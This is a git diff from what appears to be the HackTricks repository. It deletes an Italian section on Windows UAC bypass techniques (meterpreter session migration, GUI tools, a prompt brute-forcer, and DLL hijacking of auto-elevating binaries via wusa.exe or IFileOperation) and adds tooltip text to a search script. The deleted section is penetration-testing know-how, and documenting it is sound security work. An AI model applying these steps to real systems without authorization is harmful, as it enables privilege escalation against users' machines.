-#### Ulteriori bypass UAC
-
-**Tutte** le tecniche utilizzate qui per bypassare AUC **richiedono** una **shell interattiva completa** con la vittima (una comune shell nc.exe non è sufficiente).
-
-Puoi ottenerla usando una sessione **meterpreter**. Migra a un **processo** che ha il valore **Session** uguale a **1**:
-
-![](<../../images/image (96).png>)
-
-(_explorer.exe_ dovrebbe funzionare)
-
-### Bypass UAC con GUI
-
-Se hai accesso a una **GUI puoi semplicemente accettare il prompt UAC** quando lo ricevi, non hai realmente bisogno di un bypass. Quindi, ottenere accesso a una GUI ti permetterà di bypassare l'UAC.
-
-Inoltre, se ottieni una sessione GUI che qualcuno stava usando (potenzialmente tramite RDP) ci sono **alcuni strumenti che verranno eseguiti come amministratore** da dove potresti **eseguire** un **cmd** ad esempio **come admin** direttamente senza essere nuovamente sollecitato da UAC come [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Questo potrebbe essere un po' più **furtivo**.
-
-### Bypass UAC rumoroso con brute-force
-
-Se non ti importa di essere rumoroso, potresti sempre **eseguire qualcosa come** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) che **chiede di elevare i permessi fino a quando l'utente non lo accetta**.
-
-### Il tuo bypass - Metodologia di bypass UAC di base
-
-Se dai un'occhiata a **UACME** noterai che **la maggior parte dei bypass UAC sfrutta una vulnerabilità di Dll Hijacking** (principalmente scrivendo la dll malevola su _C:\Windows\System32_). [Leggi questo per imparare come trovare una vulnerabilità di Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking.md).
-
-1. Trova un binario che si **autoelevi** (controlla che quando viene eseguito funzioni a un livello di integrità elevato).
-2. Con procmon trova eventi "**NAME NOT FOUND**" che possono essere vulnerabili a **DLL Hijacking**.
-3. Probabilmente dovrai **scrivere** la DLL all'interno di alcuni **percorsi protetti** (come C:\Windows\System32) dove non hai permessi di scrittura. Puoi bypassare questo usando:
-   1. **wusa.exe**: Windows 7, 8 e 8.1. Permette di estrarre il contenuto di un file CAB all'interno di percorsi protetti (perché questo strumento viene eseguito da un livello di integrità elevato).
-   2. **IFileOperation**: Windows 10.
-4. Prepara uno **script** per copiare la tua DLL all'interno del percorso protetto ed eseguire il binario vulnerabile e autoelevato.
-
-### Un'altra tecnica di bypass UAC
-
-Consiste nel controllare se un **binario autoElevato** cerca di **leggere** dal **registro** il **nome/percorso** di un **binario** o **comando** da eseguire (questo è più interessante se il binario cerca queste informazioni all'interno del **HKCU**).
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js
index 2ec1f5ec0..f47ba384a 100644
--- a/theme/ht_searcher.js
+++ b/theme/ht_searcher.js
@@ -101,6 +101,7 @@
   const READY_ICON = icon.innerHTML;
   icon.textContent = '⏳';
   icon.setAttribute('aria-label','Loading search …');
+  icon.setAttribute('title','Search is loading, please wait...');
 
   const HOT=83, ESC=27, DOWN=40, UP=38, ENTER=13;
   let debounce, teaserCount=0;
@@ -158,8 +159,16 @@
   /* ───────────── worker messages ───────────── */
   worker.onmessage = ({data}) => {
     if(data && data.ready!==undefined){
-      if(data.ready){ icon.innerHTML=READY_ICON; icon.setAttribute('aria-label','Open search (S)'); }
-      else { icon.textContent='❌'; icon.setAttribute('aria-label','Search unavailable'); }
+      if(data.ready){ 
+        icon.innerHTML=READY_ICON; 
+        icon.setAttribute('aria-label','Open search (S)'); 
+        icon.removeAttribute('title');
+      }
+      else { 
+        icon.textContent='❌'; 
+        icon.setAttribute('aria-label','Search unavailable'); 
+        icon.setAttribute('title','Search is unavailable');
+      }
       return;
     }
     const docs=data, q=bar.value.trim(), terms=q.split(/\s+/).filter(Boolean);